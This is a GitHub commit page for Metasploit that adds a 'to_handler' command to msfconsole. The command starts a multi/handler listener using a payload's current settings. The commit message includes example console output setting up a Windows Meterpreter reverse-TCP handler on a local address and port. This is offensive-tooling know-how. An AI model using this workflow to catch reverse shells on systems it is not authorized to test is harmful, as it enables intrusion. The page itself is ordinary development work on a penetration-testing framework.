Skip to content

Commit cb0a798

Browse files
authored
Added to_handler command
This commit adds a "to_handler" command to msfconsole when "using" a payload. After generating a payload from msfconsole, we needed to set multi/handler and the payload with the same param as we used to generate it. That was really boring... The to_handler command creates the handler and sets the payload and the options set for it. ### Example Output: ``` msf > use payload/windows/meterpreter_reverse_tcp msf payload(meterpreter_reverse_tcp) > set LHOST 10.0.1.109 LHOST => 10.0.1.109 msf payload(meterpreter_reverse_tcp) > set LPORT 3377 LPORT => 3377 msf payload(meterpreter_reverse_tcp) > show options Module options (payload/windows/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) EXTENSIONS no Comma-separate list of extensions to load EXTINIT no Initialization strings for extensions LHOST 10.0.1.109 yes The listen address LPORT 3377 yes The listen port msf payload(meterpreter_reverse_tcp) > to_handler [*] Payload Handler Started as Job 0 [*] Started reverse TCP handler on 10.0.1.109:3377 [*] Starting the payload handler... msf payload(meterpreter_reverse_tcp) > ```
1 parent 4906b8a commit cb0a798

File tree

1 file changed

+22
-0
lines changed

1 file changed

+22
-0
lines changed

lib/msf/ui/console/command_dispatcher/payload.rb

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,9 +38,31 @@ class Payload
3838
def commands
3939
super.update({
4040
"generate" => "Generates a payload",
41+
"to_handler" => "Creates a handler with the specified payload"
4142
})
4243
end
4344

45+
def cmd_to_handler(*args)
46+
handler = framework.modules.create('exploit/multi/handler')
47+
48+
handler_opts = {
49+
'Payload' => mod.refname, #mod.fullname,
50+
'LocalInput' => driver.input,
51+
'LocalOutput' => driver.output,
52+
'ExitOnSession' => false,
53+
'RunAsJob' => true
54+
}
55+
56+
#handler.datastore.reverse_merge!(mod.datastore)
57+
handler.datastore.merge!(mod.datastore)
58+
handler.exploit_simple(handler_opts)
59+
job_id = handler.job_id
60+
61+
print_status "Payload Handler Started as Job #{job_id}"
62+
63+
64+
end
65+
4466
#
4567
# Returns the command dispatcher name.
4668
#

0 commit comments

Comments
 (0)